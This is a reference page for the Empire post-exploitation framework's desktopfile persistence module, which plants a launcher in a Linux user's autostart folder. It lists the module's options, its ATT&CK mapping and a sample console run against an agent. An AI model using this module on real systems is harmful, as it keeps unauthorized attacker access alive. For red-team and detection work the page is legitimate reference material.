DesktopFile - Empire Module

This page contains detailed information about how to use the python/persistence/multi/desktopfile Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

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Name: DesktopFile
Module: python/persistence/multi/desktopfile
Source code [1]: empire/server/modules/python/persistence/multi/desktopfile.yaml
Source code [2]: empire/server/modules/python/persistence/multi/desktopfile.py
MITRE ATT&CK: T1165
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The desktopfile module installs an Empire launcher script in ~/.config/autostart on Linux versions with GUI.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the desktopfile module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

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This is a list of options that are required by the desktopfile module:

Agent
Agent to execute module on.

Listener
Listener to use.

Additional Module Options

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This is a list of additional options that are supported by the desktopfile module:

FileName
File name without extension that you would like created in ~/.config/autostart/ folder.
Default value: sec_start.

Remove
Remove Persistence based on FileName. True/False.

Desktopfile Example Usage

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Here's an example of how to use the desktopfile module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/persistence/multi/desktopfile

 Author       @jarrodcoulter                                                     
 Background   False                                                              
 Comments     https://digitasecurity.com/blog/2018/01/23/crossrat/,              
              https://specifications.freedesktop.org/desktop-entry-              
              spec/latest/ar01s07.html,                                          
              https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-  
              program-in-raspberry-pi-or-linux/                                  
 Description  Installs an Empire launcher script in ~/.config/autostart on Linux 
              versions with GUI.                                                 
 Language     python                                                             
 Name         python/persistence/multi/desktopfile                               
 NeedsAdmin   False                                                              
 OpsecSafe    False                                                              
 Techniques   http://attack.mitre.org/techniques/T1165                           


,Record Options--------,----------,----------------------------------,
| Name     | Value     | Required | Description                      |
|----------|-----------|----------|----------------------------------|
| Agent    |           | True     | Agent to execute module on.      |
|----------|-----------|----------|----------------------------------|
| FileName | sec_start | False    | File name without extension that |
|          |           |          | you would like created in        |
|          |           |          | ~/.config/autostart/ folder.     |
|----------|-----------|----------|----------------------------------|
| Listener |           | True     | Listener to use.                 |
|----------|-----------|----------|----------------------------------|
| Remove   |           | False    | Remove Persistence based on      |
|          |           |          | FileName. True/False             |
'----------'-----------'----------'----------------------------------'

(Empire: usemodule/python/persistence/multi/desktopfile) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/persistence/multi/desktopfile) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/python/persistence/multi/desktopfile) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

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• @jarrodcoulter

References

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• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/persistence/multi/desktopfile.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/persistence/multi/desktopfile.py
• https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-program-in-raspberry-pi-or-linux/
• http://attack.mitre.org/techniques/T1165
• https://specifications.freedesktop.org/desktop-entry-spec/latest/ar01s07.html

See Also

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Check also the following modules related to this module:

• python/persistence/multi/crontab
• python/management/multi/kerberos_inject
• python/management/multi/spawn
• python/management/multi/socks
• python/situational_awareness/host/multi/WorldWriteableFileSearch
• python/situational_awareness/host/multi/SuidGuidSearch
• python/privesc/multi/bashdoor
• python/privesc/multi/sudo_spawn
• python/lateral_movement/multi/ssh_launcher
• python/lateral_movement/multi/ssh_command
• powershell/management/enable_multi_rdp

Version

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This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.